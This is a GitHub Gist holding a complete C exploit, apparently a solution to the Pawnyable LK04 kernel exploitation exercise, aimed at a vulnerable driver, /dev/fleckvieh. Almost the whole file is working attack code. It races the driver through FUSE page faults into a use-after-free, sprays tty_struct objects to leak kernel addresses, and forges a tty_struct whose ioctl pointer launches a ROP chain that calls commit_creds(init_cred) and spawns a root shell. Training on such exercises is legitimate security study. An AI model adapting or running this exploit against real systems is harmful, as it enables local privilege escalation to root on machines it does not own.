Last active
January 13, 2023 09:53
-
-
Save brant-ruan/a0c234dc2bd5fa9e40df2a5e635e1180 to your computer and use it in GitHub Desktop.
Pawnyable LK04
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc exploit.c -o exploit -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl | |
#define _GNU_SOURCE | |
#define FUSE_USE_VERSION 29 | |
#include <assert.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <fuse.h> | |
#include <linux/fuse.h> | |
#include <pthread.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define CMD_ADD 0xf1ec0001 | |
#define CMD_DEL 0xf1ec0002 | |
#define CMD_GET 0xf1ec0003 | |
#define CMD_SET 0xf1ec0004 | |
#define SPRAY_NUM 0x10 | |
#define ofs_tty_ops 0xc3c3c0 | |
#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a) | |
#define commit_creds (kbase + 0x072830) | |
#define pop_rdi_ret (kbase + 0x09b0ed) | |
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) | |
#define init_cred (kbase + 0xe37480) | |
void fatal(const char *msg) { | |
perror(msg); | |
exit(1); | |
} | |
typedef struct { | |
long id; | |
size_t size; | |
char *data; | |
} request_t; | |
unsigned long user_cs, user_ss, user_sp, user_rflags; | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int ptmx[SPRAY_NUM]; | |
cpu_set_t pwn_cpu; | |
int victim; | |
int fd; | |
char *buf; | |
unsigned long kbase, kheap; | |
int add(char *data, size_t size) { | |
request_t req = {.size = size, .data = data}; | |
int r = ioctl(fd, CMD_ADD, &req); | |
if (r == -1) | |
fatal("blob_add"); | |
return r; | |
} | |
int del(int id) { | |
request_t req = {.id = id}; | |
int r = ioctl(fd, CMD_DEL, &req); | |
if (r == -1) | |
fatal("blob_del"); | |
return r; | |
} | |
int get(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_GET, &req); | |
if (r == -1) | |
fatal("blob_get"); | |
return r; | |
} | |
int set(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_SET, &req); | |
if (r == -1) | |
fatal("blob_set"); | |
return r; | |
} | |
static int getattr_callback(const char *path, struct stat *stbuf) { | |
puts("[t][+] getattr_callback"); | |
memset(stbuf, 0, sizeof(struct stat)); | |
if (strcmp(path, "/pwn") == 0) { | |
stbuf->st_mode = S_IFREG | 0777; | |
stbuf->st_nlink = 1; | |
stbuf->st_size = 0x1000; | |
return 0; | |
} | |
return -ENOENT; | |
} | |
static int open_callback(const char *path, struct fuse_file_info *fi) { | |
puts("[t][+] open_callback"); | |
return 0; | |
} | |
static int read_callback(const char *path, char *file_buf, size_t size, off_t offset, struct fuse_file_info *fi) { | |
static int fault_cnt = 0; | |
puts("[t][+] read_callback"); | |
printf("\tpath: %s\n", path); | |
printf("\tsize: 0x%lx\n", size); | |
printf("\toffset: 0x%lx\n", offset); | |
if (strcmp(path, "/pwn") == 0) { | |
switch (fault_cnt++) { | |
case 0: | |
case 1: | |
puts("[t][*] UAF read"); | |
del(victim); | |
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (ptmx[i] == -1) | |
fatal("/dev/ptmx"); | |
} | |
return size; | |
case 2: | |
puts("[t][*] UAF write"); | |
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100); | |
for (int i = 0; i < 0x100; i++) | |
add(buf, 0x400); | |
del(victim); | |
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (ptmx[i] == -1) | |
fatal("/dev/ptmx"); | |
} | |
memcpy(file_buf, buf, 0x400); | |
return size; | |
default: | |
fatal("[t][-] unexpected page fault"); | |
} | |
} | |
return -ENOENT; | |
} | |
static struct fuse_operations fops = { | |
.getattr = getattr_callback, | |
.open = open_callback, | |
.read = read_callback, | |
}; | |
int setup_done = 0; | |
static void *fuse_thread(void *arg) { | |
struct fuse_args args = FUSE_ARGS_INIT(0, NULL); | |
struct fuse_chan *chan; | |
struct fuse *fuse; | |
puts("[t][*] setting up FUSE"); | |
if (mkdir("/tmp/test", 0777)) | |
fatal("mkdir(\"/tmp/test\")"); | |
if (!(chan = fuse_mount("/tmp/test", &args))) | |
fatal("fuse_mount"); | |
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) { | |
fuse_unmount("/tmp/test", chan); | |
fatal("fuse_new"); | |
} | |
puts("[t][*] set cpu affinity"); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
fuse_set_signal_handlers(fuse_get_session(fuse)); | |
setup_done = 1; | |
puts("[t][*] waiting for page fault"); | |
fuse_loop_mt(fuse); | |
fuse_unmount("/tmp/test", chan); | |
} | |
int pwn_fd = -1; | |
void *mmap_fuse_file(void) { | |
if (pwn_fd != -1) { | |
puts("[*] closing /tmp/test/pwn to reopen it"); | |
close(pwn_fd); | |
} | |
pwn_fd = open("/tmp/test/pwn", O_RDWR); | |
if (pwn_fd == -1) | |
fatal("/tmp/test/pwn"); | |
void *page; | |
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, pwn_fd, 0); | |
if (page == MAP_FAILED) | |
fatal("mmap"); | |
printf("[+] mmap /tmp/test/pwn at 0x%llx\n", (long long unsigned int)page); | |
return page; | |
} | |
int main() { | |
save_userland_state(); | |
puts("[*] set cpu affinity"); | |
CPU_ZERO(&pwn_cpu); | |
CPU_SET(0, &pwn_cpu); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
puts("[*] spawning a FUSE thread"); | |
pthread_t th; | |
pthread_create(&th, NULL, fuse_thread, NULL); | |
puts("[*] waiting for setup done"); | |
while (!setup_done) | |
; | |
fd = open("/dev/fleckvieh", O_RDWR); | |
if (fd == -1) | |
fatal("/dev/fleckvieh"); | |
void *page; | |
buf = (char *)malloc(0x400); | |
puts("[*] UAF#1 leak kbase"); | |
puts("[*] reading 0x20 bytes from victim blob to page"); | |
page = mmap_fuse_file(); | |
victim = add(buf, 0x400); | |
get(victim, page, 0x20); | |
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
unsigned long saved_dev_ptr = *(unsigned long *)(page + 0x10); | |
puts("[*] UAF#2 leak kheap"); | |
page = mmap_fuse_file(); | |
victim = add(buf, 0x400); | |
puts("[*] reading 0x400 bytes from victim blob to page"); | |
get(victim, page, 0x400); | |
kheap = *(unsigned long *)(page + 0x38) - 0x38; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap); | |
puts("[*] crafting fake tty_struct in buf"); | |
memcpy(buf, page, 0x400); | |
unsigned long *tty = (unsigned long *)buf; | |
tty[0] = 0x0000000100005401; // magic | |
tty[2] = saved_dev_ptr; // dev | |
tty[3] = kheap; // ops | |
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl | |
puts("[*] crafting rop chain"); | |
unsigned long *chain = (unsigned long *)(buf + 0x100); | |
*chain++ = 0xdeadbeef; // pop | |
*chain++ = pop_rdi_ret; | |
*chain++ = init_cred; | |
*chain++ = commit_creds; | |
*chain++ = swapgs_restore_regs_and_return_to_usermode; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = (unsigned long)&spawn_shell; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
puts("[*] UAF#3 write rop chain"); | |
page = mmap_fuse_file(); | |
victim = add(buf, 0x400); | |
set(victim, page, 0x400); | |
puts("[*] invoking ioctl to hijack control flow"); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
ioctl(ptmx[i], 0, kheap + 0x100); | |
getchar(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment